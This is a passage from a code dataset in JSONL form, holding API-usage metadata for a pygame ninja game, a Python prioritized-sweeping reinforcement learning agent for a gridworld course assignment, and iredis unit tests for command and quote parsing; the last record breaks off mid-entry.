"player.throwblocker", "line_number": 99, "usage_type": "attribute"}, {"api_name": "player.health", "line_number": 102, "usage_type": "attribute"}, {"api_name": "player.attack", "line_number": 102, "usage_type": "attribute"}, {"api_name": "player.shoot_bullet", "line_number": 102, "usage_type": "attribute"}, {"api_name": "player.jump", "line_number": 102, "usage_type": "attribute"}, {"api_name": "asset.NINJA_JUMP_L", "line_number": 104, "usage_type": "attribute"}, {"api_name": "player.jumpblocker", "line_number": 104, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 104, "usage_type": "attribute"}, {"api_name": "asset.NINJA_JUMP_R", "line_number": 106, "usage_type": "attribute"}, {"api_name": "player.jumpblocker", "line_number": 106, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 106, "usage_type": "attribute"}, {"api_name": "player.jumpblocker", "line_number": 108, "usage_type": "attribute"}, {"api_name": "player.jumpblocker", "line_number": 109, "usage_type": "attribute"}, {"api_name": "player.health", "line_number": 112, "usage_type": "attribute"}, {"api_name": "player.attack", "line_number": 112, "usage_type": "attribute"}, {"api_name": "player.shoot_bullet", "line_number": 112, "usage_type": "attribute"}, {"api_name": "player.jump", "line_number": 112, "usage_type": "attribute"}, {"api_name": "asset.NINJA_ATTACK_L", "line_number": 114, "usage_type": "attribute"}, {"api_name": "player.meleblocker", "line_number": 114, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 114, "usage_type": "attribute"}, {"api_name": "asset.NINJA_ATTACK_R", "line_number": 116, "usage_type": "attribute"}, {"api_name": "player.meleblocker", "line_number": 116, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 116, "usage_type": "attribute"}, {"api_name": "player.jumpblocker", "line_number": 118, "usage_type": "attribute"}, {"api_name": "player.jumpblocker", "line_number": 119, "usage_type": "attribute"}, {"api_name": "player.health", "line_number": 122, "usage_type": "attribute"}, {"api_name": "player.attack", "line_number": 122, "usage_type": "attribute"}, {"api_name": "player.shoot_bullet", "line_number": 122, "usage_type": "attribute"}, {"api_name": "player.jump", "line_number": 122, "usage_type": "attribute"}, {"api_name": "asset.NINJA_SHOOT_L", "line_number": 124, "usage_type": "attribute"}, {"api_name": "player.throwblocker", "line_number": 124, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 124, "usage_type": "attribute"}, {"api_name": "asset.NINJA_SHOOT_R", "line_number": 126, "usage_type": "attribute"}, {"api_name": "player.meleblocker", "line_number": 126, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 126, "usage_type": "attribute"}, {"api_name": "player.throwblocker", "line_number": 128, "usage_type": "attribute"}, {"api_name": "player.throwblocker", "line_number": 129, "usage_type": "attribute"}, {"api_name": "player.health", "line_number": 132, "usage_type": "attribute"}, {"api_name": "player.attack", "line_number": 132, "usage_type": "attribute"}, {"api_name": "player.shoot_bullet", "line_number": 132, "usage_type": "attribute"}, {"api_name": "player.jump", "line_number": 132, "usage_type": "attribute"}, {"api_name": "asset.NINJA_L", "line_number": 134, "usage_type": "attribute"}, {"api_name": "player.walkblocker", "line_number": 134, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 134, "usage_type": "attribute"}, {"api_name": "asset.NINJA_R", "line_number": 136, "usage_type": "attribute"}, {"api_name": "player.walkblocker", "line_number": 136, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 136, "usage_type": "attribute"}, {"api_name": "player.walkblocker", "line_number": 138, "usage_type": "attribute"}, {"api_name": "player.walkblocker", "line_number": 139, "usage_type": "attribute"}, {"api_name": "player.walkblocker", "line_number": 141, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 145, "usage_type": "call"}, {"api_name": "enemy.walk_dynamics", "line_number": 147, "usage_type": "attribute"}, {"api_name": "enemy.vel", "line_number": 148, "usage_type": "attribute"}, {"api_name": "enemy.vel", "line_number": 150, "usage_type": "attribute"}, {"api_name": "enemy.rect", "line_number": 151, "usage_type": "attribute"}, {"api_name": "enemy.vel", "line_number": 151, "usage_type": "attribute"}, {"api_name": "enemy.path", "line_number": 151, "usage_type": "attribute"}, {"api_name": "enemy.rect", "line_number": 152, "usage_type": "attribute"}, {"api_name": "enemy.vel", "line_number": 152, "usage_type": "attribute"}, {"api_name": "enemy.vel", "line_number": 154, "usage_type": "attribute"}, {"api_name": "enemy.walkcount", "line_number": 155, "usage_type": "attribute"}, {"api_name": "enemy.rect", "line_number": 157, "usage_type": "attribute"}, {"api_name": "enemy.vel", "line_number": 157, "usage_type": "attribute"}, {"api_name": "enemy.path", "line_number": 157, "usage_type": "attribute"}, {"api_name": "enemy.rect", "line_number": 158, "usage_type": "attribute"}, {"api_name": "enemy.vel", "line_number": 158, "usage_type": "attribute"}, {"api_name": "enemy.vel", "line_number": 160, "usage_type": "attribute"}, {"api_name": "enemy.walkcount", "line_number": 161, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 164, "usage_type": "call"}, {"api_name": "enemy.jump", "line_number": 166, "usage_type": "attribute"}, {"api_name": "enemy.jump_dynamics", "line_number": 167, "usage_type": "attribute"}, {"api_name": "enemy.jump", "line_number": 168, "usage_type": "attribute"}, {"api_name": "enemy.jumpcount", "line_number": 170, "usage_type": "attribute"}, {"api_name": "enemy.jumpcount", "line_number": 172, "usage_type": "attribute"}, {"api_name": "enemy.rect", "line_number": 174, "usage_type": "attribute"}, {"api_name": "enemy.jumpcount", "line_number": 174, "usage_type": "attribute"}, {"api_name": "enemy.jump_factor", "line_number": 174, "usage_type": "attribute"}, {"api_name": "enemy.jumpcount", "line_number": 175, "usage_type": "attribute"}, {"api_name": "enemy.rect", "line_number": 177, "usage_type": "attribute"}, {"api_name": "enemy.y_cap", "line_number": 177, "usage_type": "attribute"}, {"api_name": "enemy.jump", "line_number": 178, "usage_type": "attribute"}, {"api_name": "enemy.jumpcount", "line_number": 179, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 184, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 184, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 186, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 186, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 187, "usage_type": "attribute"}, {"api_name": "player.vel", "line_number": 187, "usage_type": "attribute"}, {"api_name": "player.right", "line_number": 188, "usage_type": "attribute"}, {"api_name": "player.left", "line_number": 189, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 190, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 190, "usage_type": "attribute"}, {"api_name": "asset.WINDOW_W", "line_number": 190, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 191, "usage_type": "attribute"}, {"api_name": "player.vel", "line_number": 191, "usage_type": "attribute"}, {"api_name": "player.right", "line_number": 192, "usage_type": "attribute"}, {"api_name": "player.left", "line_number": 193, "usage_type": "attribute"}, {"api_name": "player.walkblocker", "line_number": 195, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 199, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 199, "usage_type": "attribute"}, {"api_name": "player.jump", "line_number": 200, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 201, "usage_type": "attribute"}, {"api_name": "player.jump", "line_number": 202, "usage_type": "attribute"}, {"api_name": "player.jumpcount", "line_number": 204, "usage_type": "attribute"}, {"api_name": "player.jumpcount", "line_number": 206, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 208, "usage_type": "attribute"}, {"api_name": "player.jumpcount", "line_number": 208, "usage_type": "attribute"}, {"api_name": "player.jumpcount", "line_number": 209, "usage_type": "attribute"}, {"api_name": "player.jump", "line_number": 212, "usage_type": "attribute"}, {"api_name": "player.jumpcount", "line_number": 213, "usage_type": "attribute"}, {"api_name": "player.jumpcount_cap", "line_number": 213, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 214, "usage_type": "attribute"}, {"api_name": "player.rect_y_cap", "line_number": 214, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 218, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 218, "usage_type": "attribute"}, {"api_name": "player.shoot_bullet", "line_number": 221, "usage_type": "attribute"}, {"api_name": "pygame.K_x", "line_number": 222, "usage_type": "attribute"}, {"api_name": "player.shoot_bullet", "line_number": 223, "usage_type": "attribute"}, {"api_name": "player.left", "line_number": 225, "usage_type": "attribute"}, {"api_name": "bullet.Bullet", "line_number": 226, "usage_type": "call"}, {"api_name": "asset.BULLET_IMG", "line_number": 226, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 227, "usage_type": "attribute"}, {"api_name": "asset.BULLET_GROUP.add", "line_number": 228, "usage_type": "call"}, {"api_name": "asset.BULLET_GROUP", "line_number": 228, "usage_type": "attribute"}, {"api_name": "player.shoot_bullet", "line_number": 229, "usage_type": "attribute"}, {"api_name": "bullet.Bullet", "line_number": 232, "usage_type": "call"}, {"api_name": "asset.BULLET_IMG", "line_number": 232, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 233, "usage_type": "attribute"}, {"api_name": "asset.BULLET_GROUP.add", "line_number": 234, "usage_type": "call"}, {"api_name": "asset.BULLET_GROUP", "line_number": 234, "usage_type": "attribute"}, {"api_name": "player.shoot_bullet", "line_number": 235, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 239, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 239, "usage_type": "attribute"}, {"api_name": "player.attack", "line_number": 242, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 243, "usage_type": "attribute"}, {"api_name": "player.attack", "line_number": 244, "usage_type": "attribute"}, {"api_name": "player.attack", "line_number": 245, "usage_type": "attribute"}, {"api_name": "player.attack", "line_number": 247, "usage_type": "attribute"}, {"api_name": "asset.H_BAR_IMG", "line_number": 256, "usage_type": "attribute"}, {"api_name": "player.health", "line_number": 260, "usage_type": "attribute"}, {"api_name": "player.health", "line_number": 261, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 262, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 262, "usage_type": "attribute"}, {"api_name": "bullet.bullet_update", "line_number": 265, "usage_type": "call"}, {"api_name": "asset.BULLET_GROUP.draw", "line_number": 266, "usage_type": "call"}, {"api_name": "asset.BULLET_GROUP", "line_number": 266, "usage_type": "attribute"}, {"api_name": "enemy.update", "line_number": 269, "usage_type": "call"}, {"api_name": "enemy.draw", "line_number": 270, "usage_type": "call"}, {"api_name": "enemy.health_cap", "line_number": 272, "usage_type": "attribute"}, {"api_name": "enemy.health", "line_number": 272, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 273, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 273, "usage_type": "attribute"}, {"api_name": "enemy.rect", "line_number": 273, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 274, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 274, "usage_type": "attribute"}, {"api_name": "enemy.rect", "line_number": 274, "usage_type": "attribute"}, {"api_name": "player.draw", "line_number": 277, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 279, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 279, "usage_type": "attribute"}, {"api_name": "player.mele_enemy_collision", "line_number": 288, "usage_type": "call"}, {"api_name": "enemy.enemy_player_collision", "line_number": 296, "usage_type": "call"}, {"api_name": "enemy.damage", "line_number": 296, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 306, "usage_type": "call"}, {"api_name": "enemy.Portal", "line_number": 307, "usage_type": "call"}, {"api_name": "asset.PORTAL", "line_number": 307, "usage_type": "attribute"}, {"api_name": "asset.ENEMY_GROUP.add", "line_number": 308, "usage_type": "call"}, {"api_name": "asset.ENEMY_GROUP", "line_number": 308, "usage_type": "attribute"}, {"api_name": "enemy.Imp", "line_number": 312, "usage_type": "call"}, {"api_name": "asset.IMP_R", "line_number": 312, "usage_type": "attribute"}, {"api_name": "asset.WINDOW_W", "line_number": 312, "usage_type": "attribute"}, {"api_name": "asset.ENEMY_GROUP.add", "line_number": 313, "usage_type": "call"}, {"api_name": "asset.ENEMY_GROUP", "line_number": 313, "usage_type": "attribute"}, {"api_name": "enemy.Imp", "line_number": 316, "usage_type": "call"}, {"api_name": "asset.IMP_R", "line_number": 316, "usage_type": "attribute"}, {"api_name": "asset.WINDOW_W", "line_number": 316, "usage_type": "attribute"}, {"api_name": "asset.ENEMY_GROUP.add", "line_number": 317, "usage_type": "call"}, {"api_name": "asset.ENEMY_GROUP", "line_number": 317, "usage_type": "attribute"}, {"api_name": "enemy.FatImp", "line_number": 321, "usage_type": "call"}, {"api_name": "asset.IMP_R", "line_number": 321, "usage_type": "attribute"}, {"api_name": "asset.WINDOW_W", "line_number": 321, "usage_type": "attribute"}, {"api_name": "asset.ENEMY_GROUP.add", "line_number": 322, "usage_type": "call"}, {"api_name": "asset.ENEMY_GROUP", "line_number": 322, "usage_type": "attribute"}, {"api_name": "enemy.FatImp", "line_number": 325, "usage_type": "call"}, {"api_name": "asset.FAT_IMP_R", "line_number": 325, "usage_type": "attribute"}, {"api_name": "asset.WINDOW_W", "line_number": 325, "usage_type": "attribute"}, {"api_name": "asset.ENEMY_GROUP.add", "line_number": 326, "usage_type": "call"}, {"api_name": "asset.ENEMY_GROUP", "line_number": 326, "usage_type": "attribute"}]}
{"seq_id": "74371302344", "text": "#!/usr/bin/env python\n\n\n# Avery Tan altan 1392212\n# CMPUT366 A5\n\n\n\"\"\"\n  Author: Adam White, Matthew Schlegel, Mohammad M. Ajallooeian, Sina Ghiassian\n  Purpose: Skeleton code for Monte Carlo Exploring Starts Control Agent\n           for use on A3 of Reinforcement learning course University of Alberta Fall 2017\n \n\"\"\"\n\nfrom utils import rand_in_range, rand_un\nimport numpy as np\nimport pickle\nimport operator\nimport random\n\n\npi = None\nlast_action=None\nalpha = 0.1\nepsilon = 0.1\ncurrX=None\ncurrY=None\nQ=None\ngamma = 0.95\nmodel = None\nold_state = None\nrandom.seed(a=1000)\nN=5\ntheta = 0.00066\nmaxP = None\nPQueue=None\n\nprev_obs_states= None\nprev_obs_actions_in_states= None\n\n\ndef calculate_poss_moves(xx,yy):\n    \"\"\"\n    calculates possible moves given current x and y coordinates\n    returns a list containing all valid legal moves\n    \"\"\"\n\n    global currX , currY\n    action_space=[(1,0),(-1,0),(0,1),(0,-1)]\n    legal_moves=list()\n\n    #filtering out illegal moves:\n    for i in action_space:\n        if i[0]+currX>=0 and i[0]+currX<=8 and i[1]+currY>=0 and i[1]+currY<=5:\n            legal_moves.append(i)\n\n    return legal_moves\n\n\n\n\ndef agent_init():\n    \"\"\"\n    Hint: Initializes Q, where we store the Q(s,a). Q is a 2d array such that Q[x][y][a] where x and y are\n    intergers and represent a particular location and a is an action and Q[x][y][a] is the state-action value for\n    that particular action taken in that particular state\n    Returns: nothing\n    \"\"\"\n    global Q,model, prev_obs_states,prev_obs_actions_in_states,pi,PQueue\n    prev_obs_states=set() \n    prev_obs_actions_in_states=dict()\n    Q=list()\n    for i in range(9):\n        Q.append([{(1,0):0,(-1,0):0,(0,1):0,(0,-1):0},\n            {(1,0):0,(-1,0):0,(0,1):0,(0,-1):0},\n            {(1,0):0,(-1,0):0,(0,1):0,(0,-1):0},\n            {(1,0):0,(-1,0):0,(0,1):0,(0,-1):0},\n            {(1,0):0,(-1,0):0,(0,1):0,(0,-1):0},\n            {(1,0):0,(-1,0):0,(0,1):0,(0,-1):0}])\n    model=dict()\n    random.seed(a=1000)\n    pi=dict()\n    PQueue = dict()\n\n\n\ndef record_StateAndAction(os,la):\n    '''\n    function adds a state and action to 'memory'\n    '''\n\n    global prev_obs_states,prev_obs_actions_in_states\n    #adding to list of seen state\n    prev_obs_states.add(os)\n    if os not in prev_obs_actions_in_states:\n        prev_obs_actions_in_states[os]=list()\n        prev_obs_actions_in_states[os].append(la)\n    else:\n        prev_obs_actions_in_states[os].append(la)\n\n    return\n\n\n\ndef get_max_a_Q(currX,currY):\n    '''\n    returns the action with the largest estimated curr Q value as a tuple (x,y)\n    '''\n    global Q\n    poss_moves=[(1,0),(-1,0),(0,-1),(0,1)]\n    qlist=dict()\n    for i in poss_moves:\n        qlist[i]=Q[currX][currY][i]\n    max_q=qlist[max(qlist, key=qlist.get)]\n\n    #choose randomly all optimal legal moves\n    equal_q_list=list()\n    for i in poss_moves:\n        if Q[currX][currY][i] >= max_q:\n            equal_q_list.append(i)\n    action_index=rand_in_range(len(equal_q_list))\n    action = equal_q_list[action_index]\n\n    return action\n\n\n\n\ndef agent_start(state):\n    \"\"\"\n    Arguments: state: tuple (x,y) representing coordinates on gridworld\n    Returns: action: tuple (x,y) representing an action\n    \"\"\"\n    global currX,currY,Q,last_action,model,pi, old_state\n\n    currX=state[0]\n    currY=state[1]\n\n\n    \n    equal_q_list=list()\n    action_space = [(1,0),(-1,0),(0,1),(0,-1)]\n\n\n    #getting the highest q\n    qlist=dict()\n    for i in action_space:\n        qlist[i]=Q[currX][currY][i]\n    max_q=qlist[max(qlist, key=qlist.get)]\n\n    \n    #going through possible actions again to get all estimated optimal actions\n    for i in action_space:\n        if qlist[i]==max_q:\n            equal_q_list.append(i)\n\n\n    #randomly choose an action\n    action_index=rand_in_range(len(equal_q_list))\n    action = equal_q_list[action_index]\n\n    old_state = (currX,currY)\n\n    #adding to list of seen state\n    record_StateAndAction(old_state,action)\n\n    last_action=action\n    return action\n\n\ndef agent_step(reward, state): # returns NumPy array, reward: floating point, this_observation: NumPy array\n    \"\"\"\n    Arguments: reward: floting point, state: tuple (x,y) representing coordinates of agent\n    Returns: action: tuple (x,y) representing move agent can make\n    \"\"\"\n    global currX,currY,Q, epsilon,alpha,last_action,old_state,gamma,n,N,pi,theta,PQueue\n    \n    # simple worldmap implementation to visualize what is happening\n    # worldmap = list()\n    # obstructions = [(2,1),(2,2),(2,3),(5,4),(7,0),(7,1),(7,2)]\n    # for u in range(9):\n    #     worldmap.append(['.','.','.','.','.','.'])\n    # worldmap[8][0]='G'\n    # worldmap[currX][currY]='s'\n    # for j in obstructions:\n    #     worldmap[j[0]][j[1]]='*'\n    # for i in worldmap:\n    #     print i\n    # print currX,currY\n    # print '\\n\\n'\n\n    action = None\n    currX=state[0]\n    currY=state[1]\n\n\n    #update the model\n    model[(old_state,last_action)]=(reward,state)\n\n    action = get_max_a_Q(currX,currY)\n    #LEARN!\n    Q[old_state[0]][old_state[1]][last_action]=Q[old_state[0]][old_state[1]][last_action]+alpha*(reward+gamma*Q[currX][currY][action]-Q[old_state[0]][old_state[1]][last_action])\n\n\n    #Calculate the priority P\n    max_a=get_max_a_Q(currX,currY)\n    priority=abs(reward+gamma*Q[currX][currY][max_a]-Q[old_state[0]][old_state[1]][last_action])\n    if priority>theta:\n        #ensure that if a state action pair already is in the queue, that this new priority is greater.\n        if (old_state,last_action) in PQueue:\n            if priority > PQueue[(old_state,last_action)]:\n                PQueue[(old_state,last_action)]=priority\n        else:\n            PQueue[(old_state,last_action)]=priority\n    \n    #doing the planning update:\n    if N != 0:\n        n=random.randint(1,N)\n        count_n=0\n        while count_n<n and PQueue:\n            count_n+=1\n            S,A = max(PQueue, key=PQueue.get)\n            maxP=PQueue[max(PQueue, key=PQueue.get)]\n            del PQueue[(S,A)] #pop\n\n            re,next_state = model[(S,A)]\n            caction = get_max_a_Q(next_state[0],next_state[1])\n            Q[S[0]][S[1]][A]+=alpha*(re+gamma*Q[next_state[0]][next_state[1]][caction]-Q[S[0]][S[1]][A])\n            r_sp=None\n            for i in model:\n                if model[i][1]==S: #for every state leading to this state\n                    r_sp = model[i][0]\n                    preceding_state = i[0]\n                    preceding_action = i[1]\n                    max_a=get_max_a_Q(S[0],S[1])\n                    priority = abs(r_sp+gamma*Q[S[0]][S[1]][max_a]-Q[preceding_state[0]][preceding_state[1]][preceding_action])\n                    if priority > theta:\n                        if (preceding_state,preceding_action) in PQueue:\n                            if priority > PQueue[(preceding_state,preceding_action)]:\n                                PQueue[(preceding_state,preceding_action)]=priority\n                        else:\n                            PQueue[(preceding_state,preceding_action)]=priority\n        \n    #now action selection for the next direct RL\n    rndm=rand_un()\n    if rndm < epsilon: #explore!\n        poss_moves= [(1,0),(-1,0),(0,1),(0,-1)]\n        action_index=rand_in_range(len(poss_moves))\n        action = poss_moves[action_index]\n    \n    else: #exploit!    \n        action = get_max_a_Q(currX,currY)\n        pass\n\n    old_state = (currX,currY)\n    last_action=action\n    #adding to list of seen state\n    record_StateAndAction(old_state,last_action)\n    return action\n\ndef agent_end(reward):\n    \"\"\"\n    Arguments: reward: floating point\n    Returns: Nothing\n    \"\"\"\n    # do learning and update pi\n    global Q,old_state,last_action,alpha,N\n\n    model[(old_state,last_action)]=(reward,(8,0))\n\n    #LEARN!\n    Q[old_state[0]][old_state[1]][last_action]=Q[old_state[0]][old_state[1]][last_action]+alpha*(reward-Q[old_state[0]][old_state[1]][last_action])\n\n\n    #Calculate the priority P\n    max_a=get_max_a_Q(currX,currY)\n    priority=abs(reward-Q[old_state[0]][old_state[1]][last_action])\n    if priority>theta:\n        if (old_state,last_action) in PQueue:\n            if priority > PQueue[(old_state,last_action)]:\n                PQueue[(old_state,last_action)]=priority\n        else:\n            PQueue[(old_state,last_action)]=priority\n\n  \n    #doing the planning update:\n    if N != 0:\n        n=random.randint(1,N)\n        count_n=0\n        while count_n<n and PQueue:\n            count_n+=1\n            S,A = max(PQueue, key=PQueue.get)\n            maxP=PQueue[max(PQueue, key=PQueue.get)]\n            del PQueue[(S,A)]\n\n            re,next_state = model[(S,A)]\n            caction = get_max_a_Q(next_state[0],next_state[1])\n            Q[S[0]][S[1]][A]+=alpha*(re+gamma*Q[next_state[0]][next_state[1]][caction]-Q[S[0]][S[1]][A])\n            r_sp=None\n            for i in model:\n                if model[i][1]==S:\n                    r_sp = model[i][0]\n                    preceding_state = i[0]\n                    preceding_action = i[1]\n                    max_a=get_max_a_Q(S[0],S[1])\n                    priority = abs(r_sp+gamma*Q[S[0]][S[1]][max_a]-Q[preceding_state[0]][preceding_state[1]][preceding_action])\n                    if priority > theta:\n                        if (preceding_state,preceding_action) in PQueue:\n                            if priority > PQueue[(preceding_state,preceding_action)]:\n                                PQueue[(preceding_state,preceding_action)]=priority\n                        else:\n                            PQueue[(preceding_state,preceding_action)]=priority\n    \n    return\n\n\ndef agent_cleanup():\n    \"\"\"\n    This function is not used\n    \"\"\"\n    # clean up\n        \n    return\n\ndef agent_message(in_message): # returns string, in_message: string\n    global Q\n    \"\"\"\n    Arguments: in_message: string\n    returns: The value function as a string.\n    This function is complete. You do not need to add code here.\n    \"\"\"\n    # should not need to modify this function. Modify at your own risk\n    if (in_message == 'ValueFunction'):\n        return pickle.dumps(np.max(Q, axis=1), protocol=0)\n    else:\n        return \"I don't know what to return!!\"\n\n", "repo_name": "avry/366A5", "sub_path": "prior_sweep_agent.py", "file_name": "prior_sweep_agent.py", "file_ext": "py", "file_size_in_byte": 10140, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "random.seed", "line_number": 32, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 81, "usage_type": "call"}, {"api_name": "utils.rand_in_range", "line_number": 121, "usage_type": "call"}, {"api_name": "utils.rand_in_range", "line_number": 159, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 218, "usage_type": "call"}, {"api_name": "utils.rand_un", "line_number": 245, "usage_type": "call"}, {"api_name": "utils.rand_in_range", "line_number": 248, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 288, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 334, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 334, "usage_type": "call"}]}
{"seq_id": "72689420744", "text": "import re\nimport time\nimport pytest\nfrom unittest.mock import patch\n\nfrom iredis.utils import timer, strip_quote_args\nfrom iredis.commands import split_command_args, split_unknown_args\nfrom iredis.utils import command_syntax\nfrom iredis.style import STYLE\nfrom iredis.exceptions import InvalidArguments, AmbiguousCommand\nfrom iredis.commands import commands_summary\nfrom prompt_toolkit import print_formatted_text\n\n\ndef test_timer():\n    with patch(\"iredis.utils.logger\") as mock_logger:\n        timer(\"foo\")\n        time.sleep(0.1)\n        timer(\"bar\")\n        mock_logger.debug.assert_called()\n        args, kwargs = mock_logger.debug.call_args\n        matched = re.match(r\"\\[timer (\\d)\\] (0\\.\\d+) -> bar\", args[0])\n\n        assert matched.group(1) == str(3)\n        assert 0.1 <= float(matched.group(2)) <= 0.2\n\n        # --- test again ---\n        timer(\"foo\")\n        time.sleep(0.2)\n        timer(\"bar\")\n        mock_logger.debug.assert_called()\n        args, kwargs = mock_logger.debug.call_args\n        matched = re.match(r\"\\[timer (\\d)\\] (0\\.\\d+) -> bar\", args[0])\n\n        assert matched.group(1) == str(5)\n        assert 0.2 <= float(matched.group(2)) <= 0.3\n\n\n@pytest.mark.parametrize(\n    \"test_input,expected\",\n    [\n        (\"hello world\", [\"hello\", \"world\"]),\n        (\"'hello world'\", [\"hello world\"]),\n        ('''hello\"world\"''', [\"helloworld\"]),\n        (r'''hello\\\"world\"''', [r\"hello\\world\"]),\n        (r'\"\\\\\"', [r\"\\\\\"]),\n        (r\"\\\\\", [r\"\\\\\"]),\n        (r\"\\abcd ef\", [r\"\\abcd\", \"ef\"]),\n        # quotes in quotes\n        (r\"\"\" 'hello\"world' \"\"\", ['hello\"world']),\n        (r\"\"\" \"hello'world\" \"\"\", [\"hello'world\"]),\n        (r\"\"\" 'hello\\'world'\"\"\", [\"hello'world\"]),\n        (r\"\"\" \"hello\\\"world\" \"\"\", ['hello\"world']),\n        (r\"''\", [\"\"]),  # set foo \"\" is a legal command\n        (r'\"\"', [\"\"]),  # set foo \"\" is a legal command\n        (r\"\\\\\", [\"\\\\\\\\\"]),  # backslash are legal\n        (\"\\\\hello\\\\\", [\"\\\\hello\\\\\"]),  # backslash are legal\n    ],\n)\ndef test_stripe_quote_escape_in_quote(test_input, expected):\n    assert list(strip_quote_args(test_input)) == expected\n\n\n@pytest.mark.parametrize(\n    \"command,expected,args\",\n    [\n        (\"GET a\", \"GET\", [\"a\"]),\n        (\"cluster info\", \"cluster info\", []),\n        (\"getbit foo 17\", \"getbit\", [\"foo\", \"17\"]),\n        (\"command \", \"command\", []),\n        (\" command count  \", \"command count\", []),\n        (\" command  count  \", \"command  count\", []),  # command with multi space\n        (\" command  count    ' hello   world'\", \"command  count\", [\" hello   world\"]),\n        (\"set foo 'hello   world'\", \"set\", [\"foo\", \"hello   world\"]),\n    ],\n)\ndef test_split_commands(command, expected, args):\n    parsed_command, parsed_args = split_command_args(command)\n    assert expected == parsed_command\n    assert args == parsed_args\n\n\ndef test_split_commands_fail_on_unknown_command():\n    with pytest.raises(InvalidArguments):\n        split_command_args(\"FOO BAR\")\n\n\n@pytest.mark.parametrize(\n    \"command\",\n    [\"command in\", \"command   in\", \"Command   in\", \"COMMAND     in\"],\n)\ndef test_split_commands_fail_on_partially_input(command):\n    with pytest.raises(AmbiguousCommand):\n        split_command_args(command)\n\n\ndef test_split_commands_fail_on_unfinished_command():\n    with pytest.raises(InvalidArguments):\n        split_command_args(\"setn\")\n\n\ndef test_render_bottom_with_command_json():\n    for command, info in commands_summary.items():\n        print_formatted_text(command_syntax(command, info), style=STYLE)\n\n\n@pytest.mark.parametrize(\n    \"raw,command,args\",\n    [\n        (\"abc 123\", \"abc\", [\"123\"]),\n        (\"abc\", \"abc\", []),\n        (\"abc foo bar\", \"abc\", [\"foo\", \"bar\"]),\n        (\"abc 'foo bar'\", \"abc\", [\"foo bar\"]),\n        ('abc \"foo bar\"', \"abc\", [\"foo bar\"]),\n        ('abc \"foo bar\" 3 hello', \"abc\", [\"foo bar\", \"3\", \"hello\"]),\n        ('abc \"foo \\nbar\"', \"abc\", [\"foo \\nbar\"]),\n    ],\n)\ndef test_split_unknown_commands(raw, command, args):\n    parsed_command, parsed_args = split_unknown_args(raw)\n    assert command == parsed_command\n    assert args == parsed_args\n", "repo_name": "laixintao/iredis", "sub_path": "tests/unittests/test_utils.py", "file_name": "test_utils.py", "file_ext": "py", "file_size_in_byte": 4064, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2392, "dataset": "github-code", "pt": "81", "api": [{"api_name": "unittest.mock.patch", "line_number": 16, "usage_type": "call"}, {"api_name": "iredis.utils.timer", "line_number": 17, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 18, "usage_type": "call"}, {"api_name": "iredis.utils.timer", "line_number": 19, "usage_type": "call"}, {"api_name": "re.match", "line_number": 22, "usage_type": "call"}, {"api_name": "iredis.utils.timer", "line_number": 28, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 29, "usage_type": "call"}, {"api_name": "iredis.utils.timer", "line_number": 30, "usage_type": "call"}, {"api_name": "re.match", "line_number": 33, "usage_type": "call"}, {"api_name": "iredis.utils.strip_quote_args", "line_number": 61, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 39, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 39, "usage_type": "attribute"}, {"api_name": "iredis.commands.split_command_args", "line_number": 78, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 64, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 84, "usage_type": "call"}, {"api_name": "iredis.exceptions.InvalidArguments", "line_number": 84, "usage_type": "argument"}, {"api_name": "iredis.commands.split_command_args", "line_number": 85, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 93, "usage_type": "call"}, {"api_name": "iredis.exceptions.AmbiguousCommand", "line_number": 93, 